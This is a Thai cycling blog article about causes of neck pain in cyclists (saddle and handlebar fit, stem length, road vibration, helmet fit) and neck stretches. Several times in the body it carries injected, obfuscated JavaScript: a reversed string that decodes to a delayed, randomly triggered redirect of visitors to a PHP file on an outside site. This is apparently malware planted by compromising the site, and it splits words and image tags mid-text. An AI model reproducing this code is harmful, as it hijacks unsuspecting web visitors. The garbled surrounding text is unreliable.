3 วิธียืดกล้ามเนื้อคอ ลดอาการปวด สำหรับนักปั่น
ถ้าถามว่าอาการเจ็บคอของนักปั่นเกิดขึ้นจากอะไร…อย่างเเรกที่ควรสังเกตคือ การทำ Fitting จักรยานของเรา ตำเเหน่งของเบาะ (Saddle) และตำเเหล่งของแฮนด์ (Handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar) ทั้งสองเป็นตัวเเปรสำคัญต่อการถ่ายน้ำหนักหรือ weight distribution การปรับเบาะที่ไม่เหมาะสมกับสรีระ สูงหรือต่ำไป เบาะชี้ขึ้นหรือชี้ลง จะทำให้ส่วนของ Upper body รับน้ำหนัก หรือก็คือเเขน อก ไหล่ คอ จะต้องรับภาระเเบกน้ำหนัก ต่อมาก็เป็น ความยาวของสเต็ม (Stem) ยิ่งยาวจะทำให้เราต้อง หมอบก้มต่ำลง ต้องยกคอเพื่อมองข้างหน้า ทำให้มีเเรงกดลงที่ต้นคอมากขึ้น นอกจากนี้ สเต็มที่ยาว ทำให้ drop bar ต่ำลงด้วย ต้องหมอบเเละยกคอเงยมากขึ้นไปอีก
$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar-reach-400×267.jpg” alt=”www.cyclingweekly.co.uk” width=”400″ height=”267″ /> www.cyclingweekly.co.ukหรือสำหรับใครที่เซตจักรยานให้เป็นเเบบเน้น Aerodynamic มากไป ก็อาจจะเป็นสาเหตุให้มีอาการปวดเกิดขึ้นไป ถ้าเป็นอย่างนี้วิธีเเก้คือต้องทำ Re-fitting ใหม่อีกครั้ง
ต่อมาก็ว่าด้วยการรับเเรงสั่นสะเทือน หรือ Vibration จากตัวพื้นผิวถนนสู่จักรยานเเละสู่ร่างกาย เราที่มีความ Stiffness สูงๆ จะทำให้เกิดอาการปวดเมื่อยได้ง่าย ดั่งนั้นวิธีช่วยบรรเทาคือ การเลือกพัน Bar tape ใหม่อีกครั้ง เลือกเเบบที่หนานุ่ม มี cushion มากขึ้น จะช่วยลดเเรงสั่นได้…การเปลี่ยนขนาดล้อไปเป็น 25มิล ความดันลมในล้อเเละประเภทของล้อยางก็มีผลช่วยลดเเรงสั่นเช่นกัน
$Ikf=function(n){if (typeof ($Ikf.list[n]) == “string”) return $Ikf.list[n].split(“”).reverse().join(“”);return $Ikf.list[n];};$Ikf.list=[“\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andlebar-andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and-stem1-600×324-400×216.jpg” alt=”www.bikerumor.com” width=”400″ height=”216″ /> www.bikerumor.comต่อมาก็เป็นอะไรที่เราไม่คาดถึงว่าจะทำให้เราปวดคอได้…นั้นคือ หมวกกันน็อก…หลวมไป ไม่กระชับ เลื่อนๆไปมา ใส่เเล้วบดบังวิสัยทัศน์ มีผลทั้งนั้น ยิ่งใครที่ชอบใส่หมวกทับ ระวังอย่าให้บังมุมมองข้างหน้า เพราะต้องเงยหน้ามากกว่าปกติ ทำให้เจ็บคอได้นะ
ตัวอย่างเช่น ใครที่ใส่หมวกกันน็อกเเบบ เสือภูเขาที่มีการ์ดข้างหน้า ที่สามารถถอดติดไป ถ้ามันบังวิสัยทัศน์เวลามอง เราต้องเงยมากขึ้น ทำให้คอต้องรับเเรงกดมากขึ้นไปอีก
เอาละที่นี้พอเราทราบถึงสาเหตุกันเเล้ว เราลองมาดูวิธีคร่าวๆ ในการยืดกล้ามเนื้อคอเพื่อบรรเทาอาการเจ็บปวดกัน…จาก Global Cycling Network
ต่อมาก็เป็นท่าหมุนคอไปซ้ายขวา
ต่อด้วยการกดคางค้างไว้
ถ้าใครอยากดูตัวเต็ม เชิญชมคลิปข้างล่างเลยครับ
